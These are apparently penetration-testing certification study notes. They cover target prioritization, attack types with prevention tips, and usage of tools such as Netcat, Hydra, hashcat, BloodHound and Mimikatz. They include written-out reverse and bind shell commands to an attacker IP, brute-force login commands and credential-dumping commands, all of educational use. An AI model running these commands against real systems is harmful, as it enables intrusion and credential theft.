Chapter 4

Objective 4.1

Target Prioritization

  • High-Value Asset Identification
    • Definition: Determining which assets are most critical to the organization and thus warrant higher priority for security efforts.
    • Examples:
      • Financial databases
      • Intellectual property repositories
      • Critical infrastructure systems
    • Purpose: Focus resources on protecting assets that, if compromised, would have the most significant impact on the organization.
  • Descriptors and Metrics
    • Common Vulnerability Scoring System (CVSS) Base Score:
      • Definition: A numerical score that represents the severity of a vulnerability.
      • Purpose: Provide a standardized way to assess and compare the impact of vulnerabilities.
      • Example: A CVSS score of 9.8 indicates a critical vulnerability.
    • Common Vulnerabilities and Exposures (CVE):
      • Definition: A reference system for publicly known cybersecurity vulnerabilities.
      • Purpose: Standardize the identification of vulnerabilities across tools and databases.
      • Example: CVE-2021-34527 (PrintNightmare vulnerability).
    • Common Weakness Enumeration (CWE):
      • Definition: A categorized list of common software weaknesses.
      • Purpose: Help developers and security practitioners understand and mitigate common coding errors.
      • Example: CWE-89 (SQL Injection).
    • Exploit Prediction Scoring System (EPSS):
      • Definition: A system that predicts the likelihood of a vulnerability being exploited.
      • Purpose: Prioritize vulnerabilities that are more likely to be exploited in the wild.
      • Example: An EPSS score indicating a high probability of exploitation.
  • End-of-Life Software/Systems
    • Definition: Software and systems that are no longer supported by the vendor.
    • Purpose: Identify and prioritize the replacement or securing of unsupported systems that are no longer receiving security updates.
    • Example: Windows 7 systems after Microsoft ended support.
  • Default Configurations
    • Definition: Systems or applications running with default settings, which may be insecure.
    • Purpose: Identify and secure systems with default configurations that could be exploited.
    • Example: Default administrative passwords on network devices.
  • Running Services
    • Definition: Identifying active services on systems that may present vulnerabilities.
    • Purpose: Focus on securing or disabling unnecessary services to reduce the attack surface.
    • Example: Identifying and securing an exposed FTP service.
  • Vulnerable Encryption Methods
    • Definition: Use of outdated or insecure encryption algorithms.
    • Purpose: Identify and prioritize the upgrade of systems using weak encryption to more secure methods.
    • Example: Replacing outdated TLS 1.0 with TLS 1.2 or higher.
  • Defensive Capabilities
    • Definition: The existing security measures and their effectiveness in protecting assets.
    • Purpose: Assess and enhance the security posture to ensure high-priority assets are adequately protected.
    • Example: Evaluating and improving intrusion detection systems (IDS) and firewalls.

Capability Selection

  • Tool Selection
    • Definition: Choosing the appropriate tools for different phases of a penetration test based on the target environment and specific requirements.
    • Examples:
      • Nmap for network scanning and discovery.
      • Metasploit for exploiting known vulnerabilities.
      • Burp Suite for web application testing.
      • Wireshark for network traffic analysis.
    • Purpose: Ensure effectiveness and efficiency in conducting penetration tests.
  • Exploit Selection and Customization
    • Definition: Choosing and tailoring exploits to successfully compromise identified vulnerabilities.
    • Steps:
      • Research: Identify relevant exploits for the discovered vulnerabilities.
      • Customization: Modify exploit code to fit the specific target environment.
    • Example:
      • Using a public Metasploit module but adjusting payloads to evade specific security measures.
    • Code Analysis:
      • Definition: Reviewing and understanding the exploit code to ensure it functions correctly and safely.
      • Purpose: Verify the exploit’s logic and ensure it won’t cause unintended damage to the target systems.
      • Example: Analyzing a Python script exploit for buffer overflow to ensure it aligns with the target’s architecture and OS.
  • Documentation
    • Attack Path:
      • Definition: A detailed description of the steps taken to exploit a vulnerability and compromise a system.
      • Purpose: Provide a clear and reproducible record of the attack process.
      • Example: Documenting the sequence from initial access to privilege escalation and data exfiltration.
    • Low-Level Diagram Creation:
      • Definition: Visual representations of the attack vectors, network topology, and system architecture involved in the penetration test.
      • Purpose: Help stakeholders understand the penetration test flow and findings.
      • Example: Network diagrams showing compromised paths and affected systems.
    • Storyboard:
      • Definition: A step-by-step narrative that outlines the entire penetration test process.
      • Purpose: Provide a high-level overview of the test for non-technical stakeholders.
      • Example: Storyboard describing the reconnaissance phase, attack execution, and results.
  • Dependencies
    • Definition: Identifying and managing external components or software that the tools and exploits rely on.
    • Purpose: Ensure all necessary components are available and functional to support the penetration test.
    • Example: Ensuring the availability of specific libraries required by an exploit or tool.
  • Consideration of Scope Limitations
    • Definition: Understanding and respecting the boundaries defined for the penetration test.
    • Purpose: Avoid causing unintended disruptions or legal issues by staying within the agreed-upon scope.
    • Examples:
      • Excluding critical production systems from the test.
      • Avoiding certain attack methods as per the rules of engagement.
  • Labeling Sensitive Systems
    • Definition: Clearly marking systems that contain sensitive or critical data to ensure extra caution during testing.
    • Purpose: Prevent accidental harm or data loss to important assets.
    • Example: Labeling databases with customer information or financial records.

Objective 4.2

Attack Types

  • Default Credentials
    • Definition: Using pre-set usernames and passwords that are not changed by administrators.
    • Example: Admin/admin, root/root.
    • Purpose: Gain unauthorized access to systems or applications.
    • Prevention: Regularly update and enforce strong, unique credentials.
  • On-Path Attack (formerly Man-in-the-Middle)
    • Definition: Intercepting and potentially altering communications between two parties without their knowledge.
    • Example: Eavesdropping on data exchanged between a user and a website.
    • Purpose: Steal sensitive information or inject malicious data.
    • Prevention: Use encryption protocols such as HTTPS, employ strong network security measures.
  • Certificate Services
    • Definition: Exploiting vulnerabilities in certificate services to issue or misuse digital certificates.
    • Example: Exploiting weak certificate authority configurations to create fraudulent certificates.
    • Purpose: Perform impersonation attacks, decrypt communications.
    • Prevention: Use robust certificate management practices, ensure proper CA configurations.
  • Misconfigured Services Exploitation
    • Definition: Taking advantage of services that are improperly configured or left with default settings.
    • Example: Exploiting an open database port without authentication.
    • Purpose: Gain unauthorized access, escalate privileges, or disrupt services.
    • Prevention: Regularly audit and properly configure all services, apply least privilege principles.
  • Virtual Local Area Network (VLAN) Hopping
    • Definition: Exploiting VLAN configurations to send traffic to different VLANs.
    • Example: Double tagging VLAN attacks.
    • Purpose: Bypass network segmentation to access restricted areas.
    • Prevention: Properly configure VLANs and use robust network segmentation techniques.
  • Multihomed Hosts
    • Definition: Hosts with multiple network interfaces, potentially bridging separate networks.
    • Example: A server with connections to both a secure and an unsecured network.
    • Purpose: Exploit the bridge to access and compromise separate networks.
    • Prevention: Properly configure network interfaces, enforce strict routing and firewall policies.
  • Relay Attack
    • Definition: Intercepting and relaying communication between two parties to masquerade as one of the entities.
    • Example: Relaying authentication tokens in a network protocol.
    • Purpose: Gain unauthorized access, capture sensitive information.
    • Prevention: Use mutual authentication, secure session management.
  • Share Enumeration
    • Definition: Identifying shared resources on a network to find potential points of exploitation.
    • Example: Listing shared folders on a Windows network.
    • Purpose: Access sensitive data, find vulnerabilities.
    • Prevention: Limit shared resources, use proper access controls and permissions.
  • Packet Crafting
    • Definition: Creating custom network packets to test, exploit, or disrupt systems.
    • Example: Sending malformed packets to crash a system or bypass security controls.
    • Purpose: Identify vulnerabilities, perform DoS attacks, or evade detection.
    • Prevention: Use robust intrusion detection/prevention systems, validate input data rigorously.

Tools

  • Metasploit
    • Definition: An open-source penetration testing framework that provides information about security vulnerabilities and aids in penetration testing and IDS signature development.
    • Features:
      • Exploit Modules: Contains numerous exploit modules for a variety of vulnerabilities.
      • Payloads: Offers various payloads, such as Meterpreter, to interact with the exploited system.
      • Auxiliary Modules: Includes tools for scanning, fuzzing, and more.
    • Example: Using Metasploit to exploit a known vulnerability in an outdated web application and gain shell access.
    • Usage:
      • msfconsole → Launches the Metasploit console, which is the primary interface for interacting with the Metasploit Framework.
      • search [keyword] → Searches the Metasploit database for exploits, payloads, and auxiliary modules matching the keyword.
      • use [exploit_path] → Selects the exploit module to use. Example: use exploit/windows/smb/ms17_010_eternalblue.
  • Netcat
    • Definition: A versatile networking utility that reads and writes data across network connections using the TCP/IP protocol.
    • Features:
      • Port Scanning: Basic functionality for port scanning.
      • Data Transfer: Can be used for transferring files.
      • Reverse Shells: Can set up reverse or bind shells for remote access.
    • Example: Using Netcat to set up a reverse shell to a compromised system.
    • Usage:
      • Port scanning
      • Banner grabbing
      • File transfer
      • Creating reverse and bind shells
      • Debugging and network diagnostics
    • Flags:
      • -l: Listen mode, for inbound connects
      • -p: Local port number
      • -e: Program to execute after connection occurs
      • -n: Numeric-only IP addresses, no DNS
      • -v: Verbose mode
      • -u: UDP mode
      • -z: Zero-I/O mode (used for scanning)
    • Shells:
      • Bind Shells:
        • A bind shell sets up a listener on the victim machine and waits for an incoming connection. Once a connection is established, the attacker can execute commands on the victim machine.
        • Victimnc -l -p [port] -e /bin/bash → Setting up a listener
        • Attackernc [victim_IP] [port] → Connecting to the listener
      • Reverse Shell:
        • A reverse shell, instead of listening for a connection, initiates a connection back to the attacker’s machine. This is useful when the victim machine is behind a firewall or NAT.
        • Attackernc -l -p [port] → setting up a listener
        • Victimnc [attacker_IP] [port] -e /bin/bash → connecting back to the attacker’s machine
  • Nmap
    • Definition: A network scanning tool used for discovering hosts and services on a computer network.
    • Features:
      • Port Scanning: Identifies open ports on target systems.
      • Service Detection: Determines what services are running on open ports.
      • Operating System Detection: Identifies the OS of target systems.
      • Nmap Scripting Engine (NSE): Extends Nmap’s capabilities by using scripts.
    • Example: Scanning a network to identify open ports and running services with Nmap.
    • Usage:
      • -sP (or -sn): Ping Scan - Discover live hosts without performing a port scan.
      • -p: Specify Port(s) - Scan specific ports.
      • -p-: Scan all 65535 ports.
      • -sT: TCP Connect Scan - Uses the operating system’s network services to establish a connection with the target ports.
      • -sS: TCP SYN Scan (Default and most popular) - Half-open scan, doesn’t complete the TCP handshake.
      • -sU: UDP Scan - Scans for open UDP ports.
      • -sV: Version Detection - Detects service versions running on open ports.
      • -sX: The XMAS scan is named because all the flags (FIN, PSH, and URG) in the TCP header are set, making it look like a lit-up Christmas tree. It is used to identify listening ports on the target system.
      • -sF: FIN Scan - Sends TCP packets with the FIN flag set to check if ports are closed or open.
      • -sN: NULL Scan - Sends TCP packets with no flags set to identify open or closed ports.
      • -sA: ACK Scan
      • -O: OS Detection - Identifies the operating system of the target host.
      • -A: Aggressive Scan - Enables OS detection, version detection, script scanning, and traceroute.
      • -sC: Default Script Scan - Runs a set of default Nmap Scripting Engine (NSE) scripts.
      • --script: Run specific NSE scripts.
      • -oN: Normal output.
      • -oX: XML output.
      • -oG: Grepable output.
      • -oA: Output in all formats (normal, XML, and grepable).
    • Timing & Performance:
      • -T0: Paranoid (very slow, good for evading detection).
      • -T1: Sneaky (slow, good for evading detection).
      • -T2: Polite (slows down to use less bandwidth and target resources).
      • -T3: Normal (default).
      • -T4: Aggressive (faster, uses more bandwidth and resources).
      • -T5: Insane (very fast, uses maximum bandwidth and resources).
  • Impacket
    • Definition: A collection of Python classes for working with network protocols.
    • It allows developers to create and manipulate network packets at a low level, making it an essential tool for network administrators, penetration testers, and cybersecurity researchers.
    • Impacket focuses on providing low-level programmatic access to various protocols such as SMB, MSRPC, and LDAP.
    • Features:
      • SMB and MSRPC Protocols: Useful for creating custom network tools and performing various tasks in penetration tests.
      • Scripts: Includes scripts for executing commands on remote systems, dumping secrets, and more.
    • Example: Using Impacket’s smbexec.py to execute commands on a remote Windows system.
    • Usage:
      • wmiexec.py → Executes commands on remote systems via WMI.
      • smbexec.py → Executes commands on remote systems via SMB.
      • psexec.py → Executes commands on remote systems via SMB, using the Windows service control manager.
      • mimikatz.py → Executes the Mimikatz tool on remote systems to extract credentials.
      • getTGT.py → Requests a TGT (Ticket Granting Ticket) from a Kerberos Key Distribution Center (KDC).
      • secretsdump.py → Dumps secrets from a remote machine without executing any agent.
  • CrackMapExec (CME)
    • Definition: A post-exploitation tool that helps automate the assessment of large Active Directory networks.
    • CrackMapExec (CME) is a versatile post-exploitation tool used for assessing the security of large Active Directory networks.
    • It simplifies the process of evaluating the security posture of networks by providing an easy-to-use interface for a variety of tasks, including credential validation, remote command execution, and more.
    • Features:
      • Credential Validation: Validates credentials across a network.
      • Command Execution: Executes commands on multiple systems.
      • Password Spraying: Automates the password spraying attack.
    • Example: Using CME to validate credentials and execute commands across an Active Directory environment.
    • Usage:
      • cme [protocol] [target] [options]
      • Protocols:
        • smb: SMB protocol (Windows file sharing)
        • ldap: LDAP protocol (Directory services)
        • winrm: Windows Remote Management
        • mssql: Microsoft SQL Server
  • Wireshark/tcpdump
    • Definition: Network protocol analyzers used to capture and analyze network traffic.
    • Features:
      • Packet Capture: Captures live network traffic for analysis.
      • Protocol Analysis: Decodes numerous network protocols.
      • Filters: Applies filters to focus on specific types of traffic.
    • Example: Using Wireshark to capture and analyze HTTP traffic to identify sensitive information being transmitted in plaintext.
    • Usage:
      • tcpdump -i eth0 -w capture.pcap
  • msfvenom
    • Definition: A tool within the Metasploit framework used to generate payloads.
    • msfvenom is a command-line utility that is part of the Metasploit Framework. It is used to generate payloads, encode shellcode, and create executable files that can be used in penetration testing and security assessments.
    • Features:
      • Payload Generation: Creates various types of payloads for different platforms.
      • Encoding: Encodes payloads to evade antivirus detection.
      • Formats: Generates payloads in various formats, such as executables, scripts, and more.
    • Example: Using msfvenom to generate a malicious executable payload that opens a reverse shell.
    • Usage:
      • msfvenom -p [payload] [options]
      • Payloads:
        • Windows Meterpreter Reverse TCP: windows/meterpreter/reverse_tcp
        • Linux Meterpreter Reverse TCP: linux/x86/meterpreter/reverse_tcp
        • macOS Meterpreter Reverse TCP: osx/x86/shell_reverse_tcp
        • Android Meterpreter Reverse TCP: android/meterpreter/reverse_tcp
  • Responder
    • Definition: A tool used for network poisoning attacks.
    • It works by poisoning name resolution requests and responding with fake answers, tricking clients into sending their authentication data to the attacker.
    • Features:
      • LLMNR, NBT-NS, and MDNS Poisoning: Intercepts and responds to broadcast requests to capture credentials.
      • Password Cracking: Can capture and crack hashed passwords.
    • Example: Using Responder to capture NTLMv2 hashes by poisoning LLMNR and NBT-NS traffic on a Windows network.
    • Usage:
      • sudo python3 Responder.py -I [interface]
  • Hydra
    • Definition: Hydra is a fast and flexible password-cracking tool used for brute force attacks against a variety of network services.
    • Features:
      • Brute Force Attacks: Supports numerous protocols for brute force attacks on login services.
      • Parallel Connections: Allows multiple parallel connections for faster cracking.
      • Custom Wordlists: Supports custom wordlists for username and password combinations.
    • Example: Using Hydra to brute force SSH login credentials on a remote server.
    • Usage:
    • hydra [options] [target] [module]
    • Flags:
      • -l [username]: Specifies a single username.
      • -L [username file]: Specifies a file with a list of usernames.
      • -p [password]: Specifies a single password.
      • -P [password file]: Specifies a file with a list of passwords.
      • -s [port]: Specifies the port to connect to.
      • -t [tasks]: Specifies the number of parallel connections.
      • -f: Stops after the first valid login is found.
      • -v: Enables verbose mode.
      • -V: Shows the login and password for each attempt.
      • -o [output file]: Specifies the file to write found logins and passwords.
    • Brute Forcing SSH Loginhydra -l username -P /path/to/password_list.txt ssh://192.168.1.100
    • Brute Forcing FTP Loginhydra -L /path/to/usernames.txt -P /path/to/passwords.txt ftp://192.168.1.100
    • Brute Forcing HTTP POST Loginhydra -l username -P /path/to/password_list.txt http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"
    • Brute Forcing MySQL Loginhydra -l root -P /path/to/password_list.txt mysql://192.168.1.100

Objective 4.3

Attack Types

  • Multifactor Authentication (MFA) Fatigue
    • Definition: Exploiting users’ fatigue with repeated MFA prompts to trick them into approving a malicious login attempt.
    • Example: Bombarding a user with push notifications until they approve one out of frustration.
    • Purpose: Gain unauthorized access to an account with MFA enabled.
    • Prevention: Implementing limits on MFA prompts, educating users on recognizing malicious prompts.
  • Pass-the-Hash Attacks
    • Definition: Using a hashed password to authenticate without needing to know the plaintext password.
    • Example: Capturing an NTLM hash and using it to authenticate to a Windows system.
    • Purpose: Gain access to systems without cracking passwords.
    • Prevention: Use of strong password policies, enabling SMB signing, and deploying Kerberos where possible.
  • Pass-the-Ticket Attacks
    • Definition: Using a Kerberos ticket to authenticate to a service without needing the user’s credentials.
    • Example: Capturing a Kerberos Ticket Granting Ticket (TGT) and using it to request service tickets.
    • Purpose: Gain access to services in a Kerberos-enabled environment.
    • Prevention: Regularly rotate Kerberos tickets, use strong encryption for ticket storage.
  • Pass-the-Token Attacks
    • Definition: Using a stolen token to gain access to resources without the original credentials.
    • Example: Capturing a session token and using it to access a web application.
    • Purpose: Bypass authentication mechanisms using valid session tokens.
    • Prevention: Implementing token expiration and rotation, securing token storage.
  • Kerberos Attacks
    • Definition: Exploiting vulnerabilities in the Kerberos authentication protocol.
    • Examples: Ticket-granting ticket (TGT) theft, Silver Ticket, and Golden Ticket attacks.
    • Purpose: Gain unauthorized access to network services and resources.
    • Prevention: Enforce strong Kerberos policies, regular monitoring, and timely ticket expiration.
  • Lightweight Directory Access Protocol (LDAP) Injection
    • Definition: Manipulating LDAP queries to gain unauthorized access or retrieve sensitive information.
    • Example: Injecting malicious LDAP filters to bypass authentication.
    • Purpose: Exploit vulnerabilities in LDAP implementations.
    • Prevention: Validate and sanitize user inputs in LDAP queries.
  • Dictionary Attacks
    • Definition: Attempting to crack passwords by trying a list of likely possibilities.
    • Example: Using a list of common passwords to attempt login on a system.
    • Purpose: Quickly guess passwords based on common or known values.
    • Prevention: Use of strong, unique passwords, implementing account lockout policies.
  • Brute-Force Attacks
    • Definition: Trying every possible combination of characters to crack a password.
    • Example: Systematically attempting every possible password until the correct one is found.
    • Purpose: Gain access by guessing passwords.
    • Prevention: Enforcing rate limits, account lockouts, and using MFA.
  • Mask Attacks
    • Definition: A type of brute-force attack that uses a mask or pattern to guess passwords more efficiently.
    • Example: Guessing passwords based on a known format, such as “Password123”.
    • Purpose: Improve efficiency of brute-force attacks.
    • Prevention: Encouraging complex and unique passwords.
  • Password Spraying
    • Definition: Trying a few commonly used passwords across many accounts to avoid account lockouts.
    • Example: Trying “Password123” on multiple accounts in an organization.
    • Purpose: Gain access without triggering account lockout mechanisms.
    • Prevention: Use strong, unique passwords, monitor login attempts, and implement MFA.
  • Credential Stuffing
    • Definition: Using leaked credentials from one site to gain access to accounts on another site.
    • Example: Using username-password pairs from a breached database to log in to other services.
    • Purpose: Exploit password reuse across different services.
    • Prevention: Encourage unique passwords for each service, use MFA, and monitor for suspicious login attempts.
  • OpenID Connect (OIDC) Attacks
    • Definition: Exploiting weaknesses in the OIDC authentication protocol.
    • Examples: ID token substitution, token replay, and cross-site request forgery (CSRF) attacks.
    • Purpose: Compromise the authentication process to gain unauthorized access.
    • Prevention: Implementing proper validation of tokens, using secure transmission methods, and mitigating CSRF.
  • Security Assertion Markup Language (SAML) Attacks
    • Definition: Exploiting vulnerabilities in the SAML authentication protocol.
    • Examples: SAML response tampering, replay attacks, and signature wrapping attacks.
    • Purpose: Bypass authentication and gain unauthorized access to systems.
    • Prevention: Ensuring robust validation of SAML assertions, using strong cryptographic protections, and regularly auditing SAML configurations.

Tools

  • CrackMapExec (CME)
    • Definition: A post-exploitation tool that helps automate the assessment of large Active Directory networks.
    • Features:
      • Credential Validation: Validates credentials across a network.
      • Command Execution: Executes commands on multiple systems.
      • Password Spraying: Automates password spraying attacks.
    • Example: Using CME to validate domain credentials and execute commands across an Active Directory environment.
    • Usage:
      • cme [protocol] [target] [options]
      • Protocols:
        • smb: SMB protocol (Windows file sharing)
        • ldap: LDAP protocol (Directory services)
        • winrm: Windows Remote Management
        • mssql: Microsoft SQL Server
  • Responder
    • Definition: A tool used for network poisoning attacks.
    • Features:
      • LLMNR, NBT-NS, and MDNS Poisoning: Intercepts and responds to broadcast queries to capture credentials.
      • Password Cracking: Captures hashed passwords for offline cracking.
    • Example: Using Responder to capture NTLMv2 hashes by poisoning LLMNR and NBT-NS traffic on a Windows network.
    • Usage:
      • sudo python3 Responder.py -I [interface]
  • hashcat
    • Definition: A high-performance password cracking tool.
    • It is used to crack hashed passwords by utilizing various attack modes and optimizations.
    • Features:
      • Multi-Platform Support: Runs on various operating systems including Windows, Linux, and macOS.
      • Various Attack Modes: Supports dictionary attacks, brute-force attacks, mask attacks, and hybrid attacks.
      • GPU Acceleration: Utilizes GPU to speed up the cracking process.
    • Example: Using hashcat to perform a dictionary attack on a set of hashed passwords to recover plaintext passwords.
    • Usagehashcat [options] [hashfile] [wordlist]
    • Flags:
      • -m [hash type]: Specifies the hash type (e.g., MD5, SHA1).
        • MD5: -m 0
        • SHA1: -m 100
        • SHA256: -m 1400
        • SHA512: -m 1700
        • NTLM: -m 1000
        • bcrypt: -m 3200
      • -a [attack mode]: Specifies the attack mode (e.g., dictionary, brute-force).
        • Straight: -a 0 (Dictionary attack)
        • Combination: -a 1 (Combines words from two dictionaries)
        • Brute-Force: -a 3 (Exhaustive search of all possible combinations)
        • Hybrid Wordlist + Mask: -a 6 (Applies masks to a wordlist)
        • Hybrid Mask + Wordlist: -a 7 (Applies wordlists to masks)
      • -o [output file]: Specifies the file to write cracked passwords.
      • --potfile-path [file]: Specifies the path to the potfile for saving cracked hashes.
      • -r [rule file]: Applies rules to modify or generate passwords.
      • -t [tasks]: Specifies the number of concurrent threads.
      • --status: Displays the current status of the cracking process.
  • John the Ripper
    • Definition: A fast password cracker available for many operating systems.
    • Features:
      • Multi-Platform Support: Runs on various operating systems including Unix, Windows, and MacOS.
      • Cracking Modes: Supports dictionary attacks, brute-force attacks, and rule-based attacks.
      • Customization: Allows custom rules to refine attack strategies.
    • Example: Using John the Ripper to crack Unix password hashes extracted from a compromised system.
    • Usagejohn [options] [password file]
    • Flags:
      • --format=[format]: Specifies the hash format (e.g., raw-md5, sha256).
        • MD5: raw-md5
        • SHA1: raw-sha1
        • SHA256: raw-sha256
        • SHA512: raw-sha512
        • NTLM: nt
        • bcrypt: bcrypt
        • DES: des
      • --wordlist=[file]: Specifies the path to a wordlist file (dictionary attack).
      • --rules: Applies rules to the wordlist to generate additional passwords.
      • --incremental: Enables an incremental brute-force attack.
      • --status: Displays the current status of the cracking process.
      • --show: Displays the cracked passwords.
    • Crack MD5 hashes using a wordlistjohn --format=raw-md5 --wordlist=/path/to/wordlist.txt hashfile.txt
    • Show cracked passwordsjohn --show hashfile.txt
  • Hydra
    • Definition: A parallelized login cracker that supports numerous protocols.
    • Features:
      • Protocol Support: Can attack SSH, FTP, HTTP, HTTPS, SMB, and many other services.
      • Custom Wordlists: Supports custom wordlists for usernames and passwords.
      • Parallel Connections: Uses multiple connections to speed up the cracking process.
    • Example: Using Hydra to brute force SSH login credentials on a remote server.
  • BloodHound
    • Definition: A tool for analyzing and attacking Active Directory relationships and permissions.
    • It maps out and visualizes complex AD environments, identifying potential attack paths that could be exploited to gain unauthorized access or escalate privileges.
    • BloodHound is particularly useful for penetration testers and security professionals to perform AD enumeration and identify security weaknesses in Windows networks.
    • Features:
      • Graph Database: Uses graph theory to find hidden relationships in Active Directory environments.
      • Visual Representation: Provides a graphical interface to visualize attack paths.
      • Query Capability: Allows complex queries to identify potential attack vectors.
    • Example: Using BloodHound to map out and analyze privilege escalation paths in an Active Directory domain.
    • Usage
      • SharpHound.exe -c All -d [domain] -dc [domain controller] -o [output directory]
        • -c All: Collects all data categories (users, groups, trusts, etc.).
        • -d [domain]: Specifies the target domain.
        • -dc [domain controller]: Specifies the domain controller to query.
        • -o [output directory]: Specifies the directory to save collected data.
      • bloodhound -d [domain] -u [username] -p [password] -c all
        • -d [domain]: Specifies the domain to query.
        • -u [username]: Specifies the username to use.
        • -p [password]: Specifies the password for the username.
        • -c all: Collects all data.
      • BloodHound analyzes and visualizes the data collected by SharpHound.
      • Analyze data with BloodHoundbloodhound -i /path/to/output -o /path/to/analysis
  • Medusa
    • Definition: A speed-oriented, parallel, modular, login brute-forcer.
    • Medusa is a fast, parallel, and flexible password-cracking tool used for brute-forcing login credentials across various network services. I
    • t is designed to handle large-scale attacks efficiently and supports multiple protocols, making it a valuable tool for penetration testers and security researchers.
    • Features:
      • Module Support: Supports various modules for different protocols including HTTP, SSH, and FTP.
      • Parallel Testing: Allows multiple parallel connections to test login credentials quickly.
      • Customizability: Users can add new modules or modify existing ones.
    • Example: Using Medusa to perform a brute-force attack on a web application’s login page.
    • Usagemedusa -h [host] -u [username] -p [password] -M [module] [options]
    • Flags:
        • -h [host]: Specifies the target host or IP address.
      • -U [username file]: Specifies a file with a list of usernames.
      • -u [username]: Specifies a single username.
      • -P [password file]: Specifies a file with a list of passwords.
      • -p [password]: Specifies a single password.
      • -M [module]: Specifies the protocol or service module to use (e.g., ssh, ftp, http).
        • ssh: Secure Shell
        • ftp: File Transfer Protocol
        • http: Hypertext Transfer Protocol
        • mysql: MySQL Database
        • smtp: Simple Mail Transfer Protocol
        • pop3: Post Office Protocol
        • imap: Internet Message Access Protocol
        • rdp: Remote Desktop Protocol
        • telnet: Telnet Protocol
      • -t [tasks]: Specifies the number of concurrent connections (threads).
      • -f: Stops after the first successful login.
      • -v: Enables verbose output.
  • Burp Suite
    • Definition: A comprehensive web application security testing tool.
    • It provides tools for performing security assessments of web applications, including scanning for vulnerabilities, intercepting and modifying HTTP requests, and analyzing responses.
    • Features:
      • Intercepting Proxy: Intercepts and inspects HTTP/S traffic between the browser and the target application.
      • Scanner: Automated vulnerability scanner to identify common web vulnerabilities.
      • Repeater: Manually modify and resend individual HTTP requests.
      • Intruder: Automated attack tool for testing inputs and parameters.
    • Example: Using Burp Suite to intercept and modify HTTP requests to test for SQL injection vulnerabilities in a web application.
    • Components
      • Proxy: Intercepts and modifies HTTP/S traffic between your browser and the target application.
      • Scanner: Automates the process of scanning for vulnerabilities such as SQL injection, XSS, and more (available in the Professional edition).
      • Spider: Crawls the application to discover and map all its endpoints and functionality.
      • Intruder: Performs automated attacks on web application inputs to find vulnerabilities (e.g., brute force, fuzzing).
      • Repeater: Allows you to manually modify and resend individual HTTP requests to analyze responses.
      • Decoder: Helps decode and encode data in various formats (e.g., URL encoding, Base64).
      • Comparer: Compares two sets of data to find differences, useful for analyzing changes in responses or request parameters.

Objective 4.4

Attack Types

  • Privilege Escalation
    • Definition: Gaining higher privileges than originally granted.
    • Examples: Exploiting vulnerabilities, misconfigurations, or weak permissions.
    • Purpose: Access restricted areas or perform unauthorized actions.
    • Prevention: Regularly update and patch systems, apply the principle of least privilege, monitor for unusual activity.
  • Credential Dumping
    • Definition: Extracting credentials from a system.
    • Examples: Using tools like Mimikatz to extract passwords, hashes, or Kerberos tickets.
    • Purpose: Gain unauthorized access to other systems or services.
    • Prevention: Use of credential guards, monitoring, and limiting access to sensitive information.
  • Circumventing Security Tools
    • Definition: Bypassing or disabling security mechanisms.
    • Examples: Disabling antivirus, bypassing firewalls, or evading IDS/IPS.
    • Purpose: Avoid detection and continue attack activities.
    • Prevention: Use tamper-proof security tools, apply layered security, monitor for anomalies.
  • Misconfigured Endpoints
    • Definition: Exploiting improperly configured systems.
    • Examples: Default passwords, open ports, unnecessary services enabled.
    • Purpose: Gain unauthorized access or leverage the system in further attacks.
    • Prevention: Regular audits, applying security best practices, using automated configuration management.
  • Payload Obfuscation
    • Definition: Hiding malicious code to avoid detection.
    • Examples: Encrypting payloads, using packing, polymorphic code.
    • Purpose: Bypass security measures like antivirus and intrusion detection systems.
    • Prevention: Advanced threat detection, sandboxing, heuristic analysis.
  • User-Controlled Access Bypass
    • Definition: Exploiting user-access controls to gain higher privileges or access.
    • Examples: Manipulating user sessions, hijacking authenticated sessions.
    • Purpose: Perform unauthorized actions under another user’s context.
    • Prevention: Strong session management, regular audits, user training.
  • Shell Escape
    • Definition: Exiting a restricted shell environment to gain full shell access.
    • Examples: Exploiting vulnerabilities in restricted shells or terminal applications.
    • Purpose: Gain full command-line access and control.
    • Prevention: Properly configure and secure restricted shells, monitor user activity.
  • Kiosk Escape
    • Definition: Bypassing kiosk software to access the underlying OS.
    • Examples: Exploiting browser vulnerabilities, OS shortcuts, or hardware interfaces.
    • Purpose: Access the full operating system, bypassing restrictions.
    • Prevention: Lock down kiosks, disable unnecessary features, use kiosk-specific security measures.
  • Library Injection
    • Definition: Injecting malicious code into a system library.
    • Examples: DLL injection, LD_PRELOAD on Unix systems.
    • Purpose: Execute arbitrary code with the permissions of the affected application.
    • Prevention: Code signing, integrity checks, restricting write access to libraries.
  • Process Hollowing and Injection
    • Definition: Running malicious code within the context of a legitimate process.
    • Examples: Replacing the code of a legitimate process with malicious code.
    • Purpose: Avoid detection by security tools, execute code stealthily.
    • Prevention: Behavior-based detection, monitoring process integrity.
  • Log Tampering
    • Definition: Altering or deleting log entries to cover tracks.
    • Examples: Modifying log files, disabling logging services.
    • Purpose: Avoid detection and forensic investigation.
    • Prevention: Secure log storage, regular log audits, use of centralized logging solutions.
  • Unquoted Service Path Injection
    • Definition: Exploiting unquoted service paths to execute arbitrary code.
    • Examples: Creating executables in unquoted paths with spaces to be executed by the system.
    • Purpose: Gain elevated privileges or run malicious code.
    • Prevention: Ensure service paths are quoted, review and fix service configurations.

Tools

  • Mimikatz
    • Definition: A post-exploitation tool used for extracting plaintext passwords, hashes, PINs, and Kerberos tickets from memory.
    • It can be used to retrieve plaintext passwords, hash values, and Kerberos tickets from memory.
    • Mimikatz is commonly used by security professionals for penetration testing and by attackers to escalate privileges or move laterally within a network.
    • Features:
      • Dump Credentials: Extract passwords and hashes from memory.
      • Pass-the-Hash: Use NTLM hashes to authenticate without requiring plaintext passwords.
      • Pass-the-Ticket: Use Kerberos tickets to access services.
      • Kerberoasting: Extract service tickets from memory for offline cracking.
      • Golden Ticket: Create and inject forged Kerberos tickets for domain-wide access.
      • Silver Ticket: Create and inject forged Kerberos service tickets.
    • Example: Using Mimikatz to dump user credentials from a compromised machine’s memory.
    • Usage:
      • Dump credentials from memory:
        privilege::debug sekurlsa::logonpasswords```
  • Rubeus
    • Definition: Rubeus is a post-exploitation tool written in C# that interacts with the Kerberos authentication protocol.
    • It is used for various activities related to Kerberos tickets and authentication, including ticket extraction, manipulation, and forging.
    • Rubeus is particularly useful for security professionals and attackers in performing advanced Kerberos-based attacks, such as Pass-the-Ticket (PTT), Kerberoasting, and Golden Ticket attacks.
    • Features:
      • Dump Kerberos Tickets: Extract TGTs (Ticket Granting Tickets) and service tickets from memory.
      • Pass-the-Ticket: Inject and use Kerberos tickets for authentication.
      • Kerberoasting: Extract service tickets for offline cracking.
      • Golden Ticket: Create and inject forged Kerberos tickets for domain-wide access.
